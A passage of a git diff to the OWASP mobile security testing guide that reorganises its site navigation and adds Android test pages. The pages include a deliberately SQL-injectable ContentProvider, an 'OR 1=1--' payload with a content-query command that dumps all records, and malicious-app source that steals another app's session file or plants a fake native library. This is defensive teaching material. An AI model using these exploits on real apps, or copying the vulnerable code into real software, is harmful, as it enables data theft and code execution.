following interception callback functions: - -- `shouldOverrideUrlLoading` allows your application to either abort loading WebViews with suspicious content by returning `true` or allow the WebView to load the URL by returning `false`. Considerations: - - This method is not called for POST requests. - - This method is not called for XmlHttpRequests, iFrames, "src" attributes included in HTML or ` + + {{ super() }} +{% endblock %} diff --git a/docs/stylesheets/extra.css b/docs/stylesheets/extra.css index b06737d8f3..bfc40153eb 100644 --- a/docs/stylesheets/extra.css +++ b/docs/stylesheets/extra.css @@ -22,6 +22,54 @@ padding-right: 0.4em; } +.masvs-chips { + display: flex; + flex-wrap: wrap; + gap: 10px; + margin: 0 0 0.7em 0; +} + +.masvs-chip { + display: inline-flex; + align-items: center; + padding: 3px 6px; + border-radius: 5px; + font-size: 0.6em; + +} + +.masvs-chips-title { + color: darkgrey; + font-size: small; + margin: 0 0.5em; +} + +.mas-blue-chip { + background-color: #499FFF; + color: #fff !important; + cursor: default; +} + +.masvs-v1-chip { + background-color: #828282; + color: #fff !important; + text-decoration: none; + cursor: pointer; +} + +.masvs-v2-chip { + background-color: #499FFF; + color: #fff !important; + text-decoration: none; + cursor: pointer; +} +.masvs-v2-chip:hover { + background-color: #72b3fe; + color: #fff !important; + text-decoration: none; + cursor: pointer; +} + .mas-dot-blue { height: 1.5em; width: 1.5em; @@ -141,4 +189,4 @@ .mas-button:active { background: linear-gradient(32deg,#03a9f4,#f441a5,#ffeb3b,#03a9f4); -} \ No newline at end of file +} diff --git a/mkdocs.yml b/mkdocs.yml index 391d7c362b..703bb35740 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -7,51 +7,104 @@ edit_uri: "" # disable edit button nav: - Home: index.md - MASTG: - - MASTG.md - - Intro: MASTG/Intro - - General Guide: MASTG/General - - Android: MASTG/Android - - iOS: MASTG/iOS - - Tools: MASTG/Tools - - References: MASTG/References + - Overview: MASTG.md + - Intro: + - ... | flat | MASTG/Intro/*.md + - Mobile Security Testing Theory: + - General Concepts: + - ... | flat | MASTG/General/*.md + - Android Security Testing: + - ... | flat | MASTG/Android/*.md + - iOS Security Testing: + - ... | flat | MASTG/iOS/*.md + - MASTG Tests: + - Android: + - MASVS-STORAGE: + - ... | flat | MASTG/tests/android/MASVS-STORAGE/*.md + - MASVS-CRYPTO: + - ... | flat | MASTG/tests/android/MASVS-CRYPTO/*.md + - MASVS-AUTH: + - ... | flat | MASTG/tests/android/MASVS-AUTH/*.md + - MASVS-NETWORK: + - ... | flat | MASTG/tests/android/MASVS-NETWORK/*.md + - MASVS-PLATFORM: + - ... | flat | MASTG/tests/android/MASVS-PLATFORM/*.md + - MASVS-CODE: + - ... | flat | MASTG/tests/android/MASVS-CODE/*.md + - MASVS-RESILIENCE: + - ... | flat | MASTG/tests/android/MASVS-RESILIENCE/*.md + - iOS: + - MASVS-STORAGE: + - ... | flat | MASTG/tests/ios/MASVS-STORAGE/*.md + - MASVS-CRYPTO: + - ... | flat | MASTG/tests/ios/MASVS-CRYPTO/*.md + - MASVS-AUTH: + - ... | flat | MASTG/tests/ios/MASVS-AUTH/*.md + - MASVS-NETWORK: + - ... | flat | MASTG/tests/ios/MASVS-NETWORK/*.md + - MASVS-PLATFORM: + - ... | flat | MASTG/tests/ios/MASVS-PLATFORM/*.md + - MASVS-CODE: + - ... | flat | MASTG/tests/ios/MASVS-CODE/*.md + - MASVS-RESILIENCE: + - ... | flat | MASTG/tests/ios/MASVS-RESILIENCE/*.md + - Tools: + - ... | flat | MASTG/Tools/*.md + - References: + - ... | flat | MASTG/References/*.md - MASVS: - - MASVS.md - - Intro: MASVS/Intro + - Overview: MASVS.md + - Intro: + - ... | flat | MASVS/Intro/* - MASVS-STORAGE: MASVS/05-MASVS-STORAGE.md + - ... | flat | MASVS/controls/MASVS-STORAGE*.md - MASVS-CRYPTO: MASVS/06-MASVS-CRYPTO.md + - ... | flat | MASVS/controls/MASVS-CRYPTO*.md - MASVS-AUTH: MASVS/07-MASVS-AUTH.md + - ... | flat | MASVS/controls/MASVS-AUTH*.md - MASVS-NETWORK: MASVS/08-MASVS-NETWORK.md + - ... | flat | MASVS/controls/MASVS-NETWORK*.md - MASVS-PLATFORM: MASVS/09-MASVS-PLATFORM.md + - ... | flat | MASVS/controls/MASVS-PLATFORM*.md - MASVS-CODE: MASVS/10-MASVS-CODE.md + - ... | flat | MASVS/controls/MASVS-CODE*.md - MASVS-RESILIENCE: MASVS/11-MASVS-RESILIENCE.md - - Controls: MASVS/Controls - - "MAS Checklist": MAS_checklist.md + - ... | flat | MASVS/controls/MASVS-RESILIENCE*.md + - "MAS Checklist": + - Overview: MAS_checklist.md + - MASVS-STORAGE: checklists/MASVS-STORAGE.md + - MASVS-CRYPTO: checklists/MASVS-CRYPTO.md + - MASVS-AUTH: checklists/MASVS-AUTH.md + - MASVS-NETWORK: checklists/MASVS-NETWORK.md + - MASVS-PLATFORM: checklists/MASVS-PLATFORM.md + - MASVS-CODE: checklists/MASVS-CODE.md + - MASVS-RESILIENCE: checklists/MASVS-RESILIENCE.md - "MAS Crackmes": - - crackmes.md - - crackmes + - Overview: crackmes.md + - ... | flat | crackmes/*.md - news.md - talks.md - "⭐ Contribute": - contributing.md - - contributing + - ... | flat | contributing/*.md - "💙 Donate": - donate.md - - donate + - ... | flat | donate/*.md - contact.md copyright: |
- + © OWASP Foundation 2023. This work is licensed under CC-BY-4.0. For any reuse or distribution, you must make clear to others the license terms of this work. -
OWASP ® is a registered trademark of the OWASP Foundation, Inc. -
Made with Material for MkDocs | Website designed by Carlos Holguera.
+

OWASP ® is a registered trademark of the OWASP Foundation, Inc. +
Made with Material for MkDocs | Website and covers designed by Carlos Holguera.
theme: name: material - # custom_dir: docs/overrides + custom_dir: docs/overrides logo: assets/logo_circle.png favicon: assets/logo_circle.png icon: @@ -59,7 +112,7 @@ theme: features: - search.suggest - search.share - - toc.integrate + # - toc.integrate - navigation.instant # - navigation.expand - navigation.tabs @@ -81,11 +134,11 @@ theme: extra_css: - stylesheets/extra.css extra_javascript: - - https://unpkg.com/tablesort@5.3.0/dist/tablesort.min.js - - javascripts/tablesort.js + - javascripts/tablesort.min.js + - javascripts/tablesorts.js plugins: - search - - include_dir_to_nav + - awesome-pages - mermaid2 markdown_extensions: - meta diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 4ce1f3dc5f..0000000000 --- a/requirements.txt +++ /dev/null @@ -1,8 +0,0 @@ -mkdocs -mkdocs-material -mkdocs-mermaid2-plugin -mkdocs-include-dir-to-nav -pandas -pyyaml -tabulate -requests \ No newline at end of file diff --git a/tests/android/MASVS-AUTH/MASTG-TEST-0017.md b/tests/android/MASVS-AUTH/MASTG-TEST-0017.md new file mode 100644 index 0000000000..4b6a5c3284 --- /dev/null +++ b/tests/android/MASVS-AUTH/MASTG-TEST-0017.md @@ -0,0 +1,21 @@ +--- +masvs_v1_id: +- MSTG-AUTH-1 +- MSTG-STORAGE-11 +masvs_v2_id: +- MASVS-AUTH-2 +platform: android +title: Testing Confirm Credentials +masvs_v1_levels: +- L2 +--- + +## Overview + +## Static Analysis + +Make sure that the unlocked key is used during the application flow. For example, the key may be used to decrypt local storage or a message received from a remote endpoint. If the application simply checks whether the user has unlocked the key or not, the application may be vulnerable to a local authentication bypass. + +## Dynamic Analysis + +Validate the duration of time (seconds) for which the key is authorized to be used after the user is successfully authenticated. This is only needed if `setUserAuthenticationRequired` is used. diff --git a/tests/android/MASVS-AUTH/MASTG-TEST-0018.md b/tests/android/MASVS-AUTH/MASTG-TEST-0018.md new file mode 100644 index 0000000000..a759c3a82a --- /dev/null +++ b/tests/android/MASVS-AUTH/MASTG-TEST-0018.md @@ -0,0 +1,23 @@ +--- +masvs_v1_id: +- MSTG-AUTH-8 +masvs_v2_id: +- MASVS-AUTH-2 +platform: android +title: Testing Biometric Authentication +masvs_v1_levels: +- L2 +--- + +## Overview + +## Static Analysis + +Note that there are quite some vendor/third party SDKs, which provide biometric support, but which have their own insecurities. Be very cautious when using third party SDKs to handle sensitive authentication logic. + +## Dynamic Analysis + +Please take a look at this detailed [blog article about the Android KeyStore and Biometric authentication](https://labs.withsecure.com/blog/how-secure-is-your-android-keystore-authentication "How Secure is your Android Keystore Authentication?"). This research includes two Frida scripts which can be used to test insecure implementations of biometric authentication and try to bypass them: + +- [Fingerprint bypass](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js "Fingerprint Bypass"): This Frida script will bypass authentication when the `CryptoObject` is not used in the `authenticate` method of the `BiometricPrompt` class. The authentication implementation relies on the callback `onAuthenticationSucceded` being called. +- [Fingerprint bypass via exception handling](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js "Fingerprint bypass via exception handling"): This Frida script will attempt to bypass authentication when the `CryptoObject` is used, but used in an incorrect way. The detailed explanation can be found in the section "Crypto Object Exception Handling" in the blog post. diff --git a/tests/android/MASVS-CODE/MASTG-TEST-0002.md b/tests/android/MASVS-CODE/MASTG-TEST-0002.md new file mode 100644 index 0000000000..93f968ab71 --- /dev/null +++ b/tests/android/MASVS-CODE/MASTG-TEST-0002.md @@ -0,0 +1,31 @@ +--- +masvs_v1_id: +- MSTG-PLATFORM-2 +masvs_v2_id: +- MASVS-CODE-4 +platform: android +title: Testing Local Storage for Input Validation +masvs_v1_levels: +- L1 +- L2 +--- + +## Overview + +For any publicly accessible data storage, any process can override the data. This means that input validation needs to be applied the moment the data is read back again. + +> Note: The same is true for private accessible data on a rooted device + +## Static analysis + +### Using Shared Preferences + +When you use the `SharedPreferences.Editor` to read or write int/boolean/long values, you cannot check whether the data is overridden or not. However: it can hardly be used for actual attacks other than chaining the values (e.g. no additional exploits can be packed which will take over the control flow). In the case of a `String` or a `StringSet` you should be careful with how the data is interpreted. +Using reflection based persistence? Check the section on "Testing Object Persistence" for Android to see how it should be validated. +Using the `SharedPreferences.Editor` to store and read certificates or keys? Make sure you have patched your security provider given vulnerabilities such as found in [Bouncy Castle](https://www.cvedetails.com/cve/CVE-2018-1000613/ "Key reading vulnerability due to unsafe reflection"). + +In all cases, having the content HMACed can help to ensure that no additions and/or changes have been applied. + +### Using Other Storage Mechanisms + +In case other public storage mechanisms (than the `SharedPreferences.Editor`) are used, the data needs to be validated the moment it is read from the storage mechanism. diff --git a/tests/android/MASVS-CODE/MASTG-TEST-0025.md b/tests/android/MASVS-CODE/MASTG-TEST-0025.md new file mode 100644 index 0000000000..98556c7a5d --- /dev/null +++ b/tests/android/MASVS-CODE/MASTG-TEST-0025.md @@ -0,0 +1,103 @@ +--- +masvs_v1_id: +- MSTG-PLATFORM-2 +masvs_v2_id: +- MASVS-CODE-4 +platform: android +title: Testing for Injection Flaws +masvs_v1_levels: +- L1 +- L2 +--- + +## Overview + +To test for [injection flaws](../../../Document/0x04h-Testing-Code-Quality.md#injection-flaws "Injection Flaws") you need to first rely on other tests and check for functionality that might have been exposed: + +- ["Testing Deep Links"](../../../tests/android/MASVS-PLATFORM/MASTG-TEST-0028.md) +- ["Testing for Sensitive Functionality Exposure Through IPC"](../../../tests/android/MASVS-PLATFORM/MASTG-TEST-0029.md) +- ["Testing for Overlay Attacks"](../../../tests/android/MASVS-PLATFORM/MASTG-TEST-0035.md) + +## Static Analysis + +An example of a vulnerable IPC mechanism is shown below. + +You can use _ContentProviders_ to access database information, and you can probe services to see if they return data. If data is not validated properly, the content provider may be prone to SQL injection while other apps are interacting with it. See the following vulnerable implementation of a _ContentProvider_. + +```xml + + +``` + +The `AndroidManifest.xml` above defines a content provider that's exported and therefore available to all other apps. The `query` function in the `OMTG_CODING_003_SQL_Injection_Content_Provider_Implementation.java` class should be inspected. + +```java +@Override +public Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) { + SQLiteQueryBuilder qb = new SQLiteQueryBuilder(); + qb.setTables(STUDENTS_TABLE_NAME); + + switch (uriMatcher.match(uri)) { + case STUDENTS: + qb.setProjectionMap(STUDENTS_PROJECTION_MAP); + break; + + case STUDENT_ID: + // SQL Injection when providing an ID + qb.appendWhere( _ID + "=" + uri.getPathSegments().get(1)); + Log.e("appendWhere",uri.getPathSegments().get(1).toString()); + break; + + default: + throw new IllegalArgumentException("Unknown URI " + uri); + } + + if (sortOrder == null || sortOrder == ""){ + /** + * By default sort on student names + */ + sortOrder = NAME; + } + Cursor c = qb.query(db, projection, selection, selectionArgs,null, null, sortOrder); + + /** + * register to watch a content URI for changes + */ + c.setNotificationUri(getContext().getContentResolver(), uri); + return c; +} +``` + +While the user is providing a STUDENT_ID at `content://sg.vp.owasp_mobile.provider.College/students`, the query statement is prone to SQL injection. Obviously [prepared statements](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html "OWASP SQL Injection Prevention Cheat Sheet") must be used to avoid SQL injection, but [input validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html "OWASP Input Validation Cheat Sheet") should also be applied so that only input that the app is expecting is processed. + +All app functions that process data coming in through the UI should implement input validation: + +- For user interface input, [Android Saripaar v2](https://github.com/ragunathjawahar/android-saripaar "Android Saripaar v2") can be used. +- For input from IPC or URL schemes, a validation function should be created. For example, the following determines whether the [string is alphanumeric](https://stackoverflow.com/questions/11241690/regex-for-checking-if-a-string-is-strictly-alphanumeric "Input Validation"): + +```java +public boolean isAlphaNumeric(String s){ + String pattern= "^[a-zA-Z0-9]*$"; + return s.matches(pattern); +} +``` + +An alternative to validation functions is type conversion, with, for example, `Integer.parseInt` if only integers are expected. The [OWASP Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html "OWASP Input Validation Cheat Sheet") contains more information about this topic. + +## Dynamic Analysis + +The tester should manually test the input fields with strings like `OR 1=1--` if, for example, a local SQL injection vulnerability has been identified. + +On a rooted device, the command content can be used to query the data from a content provider. The following command queries the vulnerable function described above. + +```bash +# content query --uri content://sg.vp.owasp_mobile.provider.College/students +``` + +SQL injection can be exploited with the following command. Instead of getting the record for Bob only, the user can retrieve all data. + +```bash +# content query --uri content://sg.vp.owasp_mobile.provider.College/students --where "name='Bob') OR 1=1--''" +``` diff --git a/tests/android/MASVS-CODE/MASTG-TEST-0026.md b/tests/android/MASVS-CODE/MASTG-TEST-0026.md new file mode 100644 index 0000000000..cc42bd6c77 --- /dev/null +++ b/tests/android/MASVS-CODE/MASTG-TEST-0026.md @@ -0,0 +1,146 @@ +--- +masvs_v1_id: +- MSTG-PLATFORM-2 +masvs_v2_id: +- MASVS-CODE-4 +platform: android +title: Testing Implicit Intents +masvs_v1_levels: +- L1 +- L2 +--- + +## Overview + +When testing for [implicit intents](../../../Document/0x05h-Testing-Platform-Interaction.md#implicit-intents) you need to check if they are vulnerable to injection attacks or potentially leaking sensitive data. + +## Static Analysis + +Inspect the Android Manifest and look for any `` signatures defined inside [ blocks](https://developer.android.com/guide/topics/manifest/queries-element "Android queries") (which specify the set of other apps an app intends to interact with), check if it contains any system actions (e.g. `android.intent.action.GET_CONTENT`, `android.intent.action.PICK`, `android.media.action.IMAGE_CAPTURE`, etc.) and browse the source code for their occurrence. + +For example, the following `Intent` doesn't specify any concrete component, meaning that it's an implicit intent. It sets the action `android.intent.action.GET_CONTENT` to ask the user for input data and then the app starts the intent by `startActivityForResult` and specifying an image chooser. + +```java +Intent intent = new Intent(); +intent.setAction("android.intent.action.GET_CONTENT"); +startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE); +``` + +The app uses `startActivityForResult` instead of `startActivity`, indicating that it expects a result (in this case an image), so you should check how the return value of the intent is handled by looking for the `onActivityResult` callback. If the return value of the intent isn't properly validated, an attacker may be able to read arbitrary files or execute arbitrary code from the app's internal `/data/data/' storage. A full description of this type of attack can be found in the [following blog post](https://blog.oversecured.com/Interception-of-Android-implicit-intents " Current attacks on implicit intents"). + +### Case 1: Arbitrary File Read + +In this example we're going to see how an attacker can read arbitrary files from within the app's internal storage `/data/data/` due to the improper validation of the return value of the intent. + +The `performAction` method in the following example reads the implicit intents return value, which can be an attacker provided URI and hands it to `getFileItemFromUri`. This method copies the file to a temp folder, which is usual if this file is displayed internally. But if the app stores the URI provided file in an external temp directory e.g by calling `getExternalCacheDir` or `getExternalFilesDir` an attacker can read this file if he sets the permission `android.permission.READ_EXTERNAL_STORAGE`. + +```java +private void performAction(Action action){ + ... + Uri data = intent.getData(); + if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) { + ... + } +} + +private FileItem getFileItemFromUri(Context, context, Uri uri){ + String fileName = UriExtensions.getFileName(uri, context); + File file = new File(getExternalCacheDir(), "tmp"); + file.createNewFile(); + copy(context.openInputStream(uri), new FileOutputStream(file)); + ... +} +``` + +The following is the source of a malicious app that exploits the above vulnerable code. + +AndroidManifest.xml + +```xml + + + + + + + + + +``` + +EvilContentActivity.java + +```java +public class EvilContentActivity extends Activity{ + @Override + protected void OnCreate(@Nullable Bundle savedInstanceState){ + super.OnCreate(savedInstanceState); + setResult(-1, new Intent().setData(Uri.parse("file:///data/data//shared_preferences/session.xml"))); + finish(); + } +} +``` + +If the user selects the malicious app to handle the intent, the attacker can now steal the `session.xml` file from the app's internal storage. In the previous example, the victim must explicitly select the attacker's malicious app in a dialog. However, developers may choose to suppress this dialog and automatically determine a recipient for the intent. This would allow the attack to occur without any additional user interaction. + +The following code sample implements this automatic selection of the recipient. By specifying a priority in the malicious app's intent filter, the attacker can influence the selection sequence. + +```java +Intent intent = new Intent("android.intent.action.GET_CONTENT"); +for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) { + intent.setClassName(info.activityInfo.packageName, info.activityInfo.name); + startActivityForResult(intent); + return; +} +``` + +### Case 2: Arbitrary Code Execution + +An improperly handled return value of an implicit intent can lead to arbitrary code execution if the victim app allows `content://` and `file://` URLs. + +An attacker can implement a [`ContentProvider`](https://developer.android.com/reference/android/content/ContentProvider "Android ContentProvider") that contains `public Cursor query(...)` to set an arbitrary file (in this case _lib.so_), and if the victim loads this file from the content provider by executing `copy` the attacker's `ParcelFileDescriptor openFile(...)` method will be executed and return a malicious _fakelib.so_. + +AndroidManifest.xml + +```xml + + + + + + + + + + +``` + +EvilContentProvider.java + +```java +public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { + MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"}); + matrixCursor.addRow(new Object[]{"../lib-main/lib.so"}); + return matrixCursor; +} +public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { + return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY); +} +``` + +EvilContentActivity.java + +```java +public class EvilContentActivity extends Activity{ + @Override + protected void OnCreate(@Nullable Bundle savedInstanceState){ + super.OnCreate(savedInstanceState); + setResult(-1, new Intent().setData(Uri.parse("content:///data/data/com.attacker/fakelib.so"))); + finish(); + } +} +``` + +## Dynamic Analysis + +A convenient way to dynamically test for implicit intents, especially to identify potentially leaked sensitive data, is to use Frida or frida-trace and hook the `startActivityForResult` and `onActivityResult` methods and inspect the provided intents and the data they contain. diff --git a/tests/android/MASVS-CODE/MASTG-TEST-0027.md b/tests/android/MASVS-CODE/MASTG-TEST-0027.md new file mode 100644 index 0000000000..ef55843c16 --- /dev/null +++ b/tests/android/MASVS-CODE/MASTG-TEST-0027.md @@ -0,0 +1,50 @@ +--- +masvs_v1_id: +- MSTG-PLATFORM-2 +masvs_v2_id: +- MASVS-CODE-4 +platform: android +title: Testing for URL Loading in WebViews +masvs_v1_levels: +- L1 +- L2 +--- + +## Overview + +In order to test for [URL loading in WebViews](../../../Document/0x05h-Testing-Platform-Interaction.md#url-loading-in-webviews "URL Loading in WebViews") you need to carefully analyze [handling page navigation](https://developer.android.com/guide/webapps/webview#HandlingNavigation "Handling page navigation"), especially when users might be able to navigate away from a trusted environment. The default and safest behavior on Android is to let the default web browser open any link that the user might click inside the WebView. However, this default logic can be modified by configuring a `WebViewClient` which allows navigation requests to be handled by the app itself. + +## Static Analysis + +### Check for Page Navigation Handling Override + +To test if the app is overriding the default page navigation logic by configuring a `WebViewClient` you should search for and inspect the following interception callback functions: + +- `shouldOverrideUrlLoading` allows your application to either abort loading WebViews with suspicious content by returning `true` or allow the WebView to load the URL by returning `false`. Considerations: + - This method is not called for POST requests. + - This method is not called for XmlHttpRequests, iFrames, "src" attributes included in HTML or `